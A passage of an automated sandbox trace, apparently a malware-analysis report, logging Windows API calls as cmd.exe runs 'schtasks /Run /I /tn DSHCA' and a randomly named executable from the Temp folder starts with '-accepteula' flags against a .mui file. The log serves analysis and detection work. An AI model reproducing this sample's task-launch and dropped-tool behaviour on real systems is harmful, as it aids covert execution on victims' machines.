lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0102.720] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0102.722] GetProcessHeap () returned 0x590000 [0102.722] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20c) returned 0x5a2b78 [0102.722] GetConsoleTitleW (in: lpConsoleTitle=0x5a2b78, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0102.722] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0102.722] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0102.722] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0102.722] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0102.723] GetProcessHeap () returned 0x590000 [0102.723] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x400a) returned 0x5a4e20 [0102.723] GetProcessHeap () returned 0x590000 [0102.723] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4e20 | out: hHeap=0x590000) returned 1 [0102.723] _wcsicmp (_String1="schtasks", _String2=")") returned 74 [0102.723] _wcsicmp (_String1="FOR", _String2="schtasks") returned -13 [0102.723] _wcsicmp (_String1="FOR/?", _String2="schtasks") returned -13 [0102.723] _wcsicmp (_String1="IF", _String2="schtasks") returned -10 [0102.723] _wcsicmp (_String1="IF/?", _String2="schtasks") returned -10 [0102.724] _wcsicmp (_String1="REM", _String2="schtasks") returned -1 [0102.724] _wcsicmp (_String1="REM/?", _String2="schtasks") returned -1 [0102.724] GetProcessHeap () returned 0x590000 [0102.724] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x58) returned 0x5a2d90 [0102.724] GetProcessHeap () returned 0x590000 [0102.724] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1a) returned 0x5a23b8 [0102.724] GetProcessHeap () returned 0x590000 [0102.724] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a2df0 [0102.725] GetConsoleTitleW (in: lpConsoleTitle=0x14f2f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0102.725] _wcsicmp (_String1="schtasks", _String2="DIR") returned 15 [0102.725] _wcsicmp (_String1="schtasks", _String2="ERASE") returned 14 [0102.725] _wcsicmp (_String1="schtasks", _String2="DEL") returned 15 [0102.725] _wcsicmp (_String1="schtasks", _String2="TYPE") returned -1 [0102.725] _wcsicmp (_String1="schtasks", _String2="COPY") returned 16 [0102.725] _wcsicmp (_String1="schtasks", _String2="CD") returned 16 [0102.725] _wcsicmp (_String1="schtasks", _String2="CHDIR") returned 16 [0102.725] _wcsicmp (_String1="schtasks", _String2="RENAME") returned 1 [0102.725] _wcsicmp (_String1="schtasks", _String2="REN") returned 1 [0102.725] _wcsicmp (_String1="schtasks", _String2="ECHO") returned 14 [0102.726] _wcsicmp (_String1="schtasks", _String2="SET") returned -2 [0102.726] _wcsicmp (_String1="schtasks", _String2="PAUSE") returned 3 [0102.726] _wcsicmp (_String1="schtasks", _String2="DATE") returned 15 [0102.726] _wcsicmp (_String1="schtasks", _String2="TIME") returned -1 [0102.726] _wcsicmp (_String1="schtasks", _String2="PROMPT") returned 3 [0102.726] _wcsicmp (_String1="schtasks", _String2="MD") returned 6 [0102.726] _wcsicmp (_String1="schtasks", _String2="MKDIR") returned 6 [0102.726] _wcsicmp (_String1="schtasks", _String2="RD") returned 1 [0102.726] _wcsicmp (_String1="schtasks", _String2="RMDIR") returned 1 [0102.726] _wcsicmp (_String1="schtasks", _String2="PATH") returned 3 [0102.726] _wcsicmp (_String1="schtasks", _String2="GOTO") returned 12 [0102.726] _wcsicmp (_String1="schtasks", _String2="SHIFT") returned -5 [0102.726] _wcsicmp (_String1="schtasks", _String2="CLS") returned 16 [0102.726] _wcsicmp (_String1="schtasks", _String2="CALL") returned 16 [0102.726] _wcsicmp (_String1="schtasks", _String2="VERIFY") returned -3 [0102.726] _wcsicmp (_String1="schtasks", _String2="VER") returned -3 [0102.726] _wcsicmp (_String1="schtasks", _String2="VOL") returned -3 [0102.726] _wcsicmp (_String1="schtasks", _String2="EXIT") returned 14 [0102.726] _wcsicmp (_String1="schtasks", _String2="SETLOCAL") returned -2 [0102.726] _wcsicmp (_String1="schtasks", _String2="ENDLOCAL") returned 14 [0102.726] _wcsicmp (_String1="schtasks", _String2="TITLE") returned -1 [0102.726] _wcsicmp (_String1="schtasks", _String2="START") returned -17 [0102.726] _wcsicmp (_String1="schtasks", _String2="DPATH") returned 15 [0102.726] _wcsicmp (_String1="schtasks", _String2="KEYS") returned 8 [0102.726] _wcsicmp (_String1="schtasks", _String2="MOVE") returned 6 [0102.727] _wcsicmp (_String1="schtasks", _String2="PUSHD") returned 3 [0102.727] _wcsicmp (_String1="schtasks", _String2="POPD") returned 3 [0102.727] _wcsicmp (_String1="schtasks", _String2="ASSOC") returned 18 [0102.727] _wcsicmp (_String1="schtasks", _String2="FTYPE") returned 13 [0102.727] _wcsicmp (_String1="schtasks", _String2="BREAK") returned 17 [0102.727] _wcsicmp (_String1="schtasks", _String2="COLOR") returned 16 [0102.727] _wcsicmp (_String1="schtasks", _String2="MKLINK") returned 6 [0102.727] _wcsicmp (_String1="schtasks", _String2="DIR") returned 15 [0102.727] _wcsicmp (_String1="schtasks", _String2="ERASE") returned 14 [0102.727] _wcsicmp (_String1="schtasks", _String2="DEL") returned 15 [0102.727] _wcsicmp (_String1="schtasks", _String2="TYPE") returned -1 [0102.727] _wcsicmp (_String1="schtasks", _String2="COPY") returned 16 [0102.727] _wcsicmp (_String1="schtasks", _String2="CD") returned 16 [0102.727] _wcsicmp (_String1="schtasks", _String2="CHDIR") returned 16 [0102.727] _wcsicmp (_String1="schtasks", _String2="RENAME") returned 1 [0102.727] _wcsicmp (_String1="schtasks", _String2="REN") returned 1 [0102.727] _wcsicmp (_String1="schtasks", _String2="ECHO") returned 14 [0102.727] _wcsicmp (_String1="schtasks", _String2="SET") returned -2 [0102.727] _wcsicmp (_String1="schtasks", _String2="PAUSE") returned 3 [0102.727] _wcsicmp (_String1="schtasks", _String2="DATE") returned 15 [0102.727] _wcsicmp (_String1="schtasks", _String2="TIME") returned -1 [0102.727] _wcsicmp (_String1="schtasks", _String2="PROMPT") returned 3 [0102.727] _wcsicmp (_String1="schtasks", _String2="MD") returned 6 [0102.727] _wcsicmp (_String1="schtasks", _String2="MKDIR") returned 6 [0102.727] _wcsicmp (_String1="schtasks", _String2="RD") returned 1 [0102.727] _wcsicmp (_String1="schtasks", _String2="RMDIR") returned 1 [0102.727] _wcsicmp (_String1="schtasks", _String2="PATH") returned 3 [0102.728] _wcsicmp (_String1="schtasks", _String2="GOTO") returned 12 [0102.728] _wcsicmp (_String1="schtasks", _String2="SHIFT") returned -5 [0102.728] _wcsicmp (_String1="schtasks", _String2="CLS") returned 16 [0102.728] _wcsicmp (_String1="schtasks", _String2="CALL") returned 16 [0102.728] _wcsicmp (_String1="schtasks", _String2="VERIFY") returned -3 [0102.728] _wcsicmp (_String1="schtasks", _String2="VER") returned -3 [0102.728] _wcsicmp (_String1="schtasks", _String2="VOL") returned -3 [0102.728] _wcsicmp (_String1="schtasks", _String2="EXIT") returned 14 [0102.728] _wcsicmp (_String1="schtasks", _String2="SETLOCAL") returned -2 [0102.728] _wcsicmp (_String1="schtasks", _String2="ENDLOCAL") returned 14 [0102.728] _wcsicmp (_String1="schtasks", _String2="TITLE") returned -1 [0102.728] _wcsicmp (_String1="schtasks", _String2="START") returned -17 [0102.728] _wcsicmp (_String1="schtasks", _String2="DPATH") returned 15 [0102.728] _wcsicmp (_String1="schtasks", _String2="KEYS") returned 8 [0102.728] _wcsicmp (_String1="schtasks", _String2="MOVE") returned 6 [0102.728] _wcsicmp (_String1="schtasks", _String2="PUSHD") returned 3 [0102.728] _wcsicmp (_String1="schtasks", _String2="POPD") returned 3 [0102.728] _wcsicmp (_String1="schtasks", _String2="ASSOC") returned 18 [0102.728] _wcsicmp (_String1="schtasks", _String2="FTYPE") returned 13 [0102.728] _wcsicmp (_String1="schtasks", _String2="BREAK") returned 17 [0102.728] _wcsicmp (_String1="schtasks", _String2="COLOR") returned 16 [0102.728] _wcsicmp (_String1="schtasks", _String2="MKLINK") returned 6 [0102.728] _wcsicmp (_String1="schtasks", _String2="FOR") returned 13 [0102.728] _wcsicmp (_String1="schtasks", _String2="IF") returned 10 [0102.728] _wcsicmp (_String1="schtasks", _String2="REM") returned 1 [0102.729] GetProcessHeap () returned 0x590000 [0102.729] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x210) returned 0x5a2e28 [0102.729] GetProcessHeap () returned 0x590000 [0102.729] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x40) returned 0x5a3040 [0102.729] _wcsnicmp (_String1="scht", _String2="cmd ", _MaxCount=0x4) returned 16 [0102.729] GetProcessHeap () returned 0x590000 [0102.729] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x418) returned 0x5a3088 [0102.729] SetErrorMode (uMode=0x0) returned 0x0 [0102.729] SetErrorMode (uMode=0x1) returned 0x0 [0102.729] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5a3090, lpFilePart=0x14ee18 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14ee18*="Desktop") returned 0x25 [0102.729] SetErrorMode (uMode=0x0) returned 0x1 [0102.729] GetProcessHeap () returned 0x590000 [0102.729] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a3088, Size=0x66) returned 0x5a3088 [0102.729] GetProcessHeap () returned 0x590000 [0102.729] RtlSizeHeap (HeapHandle=0x590000, Flags=0x0, MemoryPointer=0x5a3088) returned 0x66 [0102.729] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0102.729] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0102.730] GetProcessHeap () returned 0x590000 [0102.730] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x120) returned 0x5a30f8 [0102.730] GetProcessHeap () returned 0x590000 [0102.730] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x238) returned 0x5a3220 [0102.737] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\schtasks.*", fInfoLevelId=0x1, lpFindFileData=0x14eb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb94) returned 0xffffffff [0102.738] GetLastError () returned 0x2 [0102.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\schtasks", fInfoLevelId=0x1, lpFindFileData=0x14eb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb94) returned 0xffffffff [0102.738] GetLastError () returned 0x2 [0102.738] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.738] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.*", fInfoLevelId=0x1, lpFindFileData=0x14eb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb94) returned 0x5a33d0 [0102.738] GetProcessHeap () returned 0x590000 [0102.738] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x5a3410 [0102.738] FindClose (in: hFindFile=0x5a33d0 | out: hFindFile=0x5a33d0) returned 1 [0102.739] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb94) returned 0xffffffff [0102.739] GetLastError () returned 0x2 [0102.739] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb94) returned 0x5a33d0 [0102.739] GetProcessHeap () returned 0x590000 [0102.739] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a3410, Size=0x4) returned 0x5a3410 [0102.739] FindClose (in: hFindFile=0x5a33d0 | out: hFindFile=0x5a33d0) returned 1 [0102.739] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0102.739] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0102.739] GetConsoleTitleW (in: lpConsoleTitle=0x14f08c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0102.739] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ef14, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14efdc | out: lpAttributeList=0x14ef14, lpSize=0x14efdc) returned 1 [0102.739] UpdateProcThreadAttribute (in: lpAttributeList=0x14ef14, dwFlags=0x0, Attribute=0x60001, lpValue=0x14efd4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ef14, lpPreviousValue=0x0) returned 1 [0102.739] GetStartupInfoW (in: lpStartupInfo=0x14eed0 | out: lpStartupInfo=0x14eed0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0102.740] lstrcmpW (lpString1="\\schtasks.exe", lpString2="\\XCOPY.EXE") returned -1 [0102.741] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\schtasks.exe", lpCommandLine="schtasks /Run /I /tn DSHCA", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ef70*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="schtasks /Run /I /tn DSHCA", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14efbc | out: lpCommandLine="schtasks /Run /I /tn DSHCA", lpProcessInformation=0x14efbc*(hProcess=0x78, hThread=0x74, dwProcessId=0xe6c, dwThreadId=0xe70)) returned 1 [0102.846] CloseHandle (hObject=0x74) returned 1 [0102.846] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0102.846] GetProcessHeap () returned 0x590000 [0102.846] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a42e0 | out: hHeap=0x590000) returned 1 [0102.847] GetEnvironmentStringsW () returned 0x5a42e0* [0102.847] GetProcessHeap () returned 0x590000 [0102.847] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb36) returned 0x5a7260 [0102.847] FreeEnvironmentStringsW (penv=0x5a42e0) returned 1 [0102.847] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0105.651] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x14eeb0 | out: lpExitCode=0x14eeb0*=0x0) returned 1 [0105.651] CloseHandle (hObject=0x78) returned 1 [0105.651] _vsnwprintf (in: _Buffer=0x14eff8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14eebc | out: _Buffer="00000000") returned 8 [0105.651] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0105.651] GetProcessHeap () returned 0x590000 [0105.651] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a7260 | out: hHeap=0x590000) returned 1 [0105.651] GetEnvironmentStringsW () returned 0x5a7260* [0105.651] GetProcessHeap () returned 0x590000 [0105.651] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb5c) returned 0x5a7dc8 [0105.651] FreeEnvironmentStringsW (penv=0x5a7260) returned 1 [0105.651] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0105.651] GetProcessHeap () returned 0x590000 [0105.651] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a7dc8 | out: hHeap=0x590000) returned 1 [0105.651] GetEnvironmentStringsW () returned 0x5a7260* [0105.651] GetProcessHeap () returned 0x590000 [0105.651] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb5c) returned 0x5a7dc8 [0105.652] FreeEnvironmentStringsW (penv=0x5a7260) returned 1 [0105.652] GetProcessHeap () returned 0x590000 [0105.652] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x59ffe8 | out: hHeap=0x590000) returned 1 [0105.652] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ef14 | out: lpAttributeList=0x14ef14) [0105.652] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.652] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0105.652] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.652] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0105.652] _get_osfhandle (_FileHandle=0) returned 0x3 [0105.652] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0105.653] SetConsoleInputExeNameW () returned 0x1 [0105.653] GetConsoleOutputCP () returned 0x1b5 [0105.653] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0105.653] SetThreadUILanguage (LangId=0x0) returned 0x409 [0105.653] exit (_Code=0) Process: id = "186" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x78ac2000" os_pid = "0xe34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 759 os_tid = 0xe38 Thread: id = 763 os_tid = 0xe48 Thread: id = 767 os_tid = 0xe58 Process: id = "187" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x22574000" os_pid = "0xe3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "184" os_parent_pid = "0xe20" cmd_line = "bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 760 os_tid = 0xe40 [0102.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xe0425520, dwHighDateTime=0x1d5d06a)) [0102.004] GetCurrentThreadId () returned 0xe40 [0102.004] GetCurrentProcessId () returned 0xe3c [0102.004] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=24406009099) returned 1 [0102.108] GetProcessHeap () returned 0x180000 [0102.109] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0102.109] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0102.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0102.111] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0102.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x478) returned 0x19f050 [0102.112] GetCurrentThreadId () returned 0xe40 [0102.112] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x28) returned 0x195ed0 [0102.112] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb00) returned 0x19f4d0 [0102.112] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x19f050)) [0102.112] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0102.112] GetFileType (hFile=0x3) returned 0x2 [0102.112] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0102.112] GetFileType (hFile=0x4) returned 0x3 [0102.112] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0102.112] GetFileType (hFile=0xb) returned 0x2 [0102.113] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner" [0102.113] GetEnvironmentStringsW () returned 0x19ffe0* [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0xb36) returned 0x1a0b20 [0102.113] FreeEnvironmentStringsW (penv=0x19ffe0) returned 1 [0102.113] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x8c) returned 0x1a1660 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x138) returned 0x1a1700 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x3e) returned 0x196510 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x6c) returned 0x1a1840 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x62) returned 0x1a18c0 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x78) returned 0x1a1930 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x62) returned 0x1a19b0 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2e) returned 0x19de00 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x48) returned 0x196560 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x28) returned 0x195f00 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x28) returned 0x195f30 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1a) returned 0x195f60 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x4a) returned 0x1a1a20 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x72) returned 0x1a1a80 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x30) returned 0x19de40 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2e) returned 0x19de80 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1c) returned 0x195f90 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xd2) returned 0x1a1b00 [0102.113] RtlAllocateHeap 